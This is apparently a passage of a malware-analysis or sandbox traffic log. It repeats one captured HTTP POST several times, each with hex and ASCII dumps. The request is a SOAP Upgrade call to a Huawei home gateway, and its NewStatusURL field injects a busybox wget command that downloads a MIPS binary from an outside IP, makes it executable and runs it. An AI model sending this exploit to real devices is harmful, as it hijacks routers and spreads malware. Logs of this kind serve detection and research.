xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 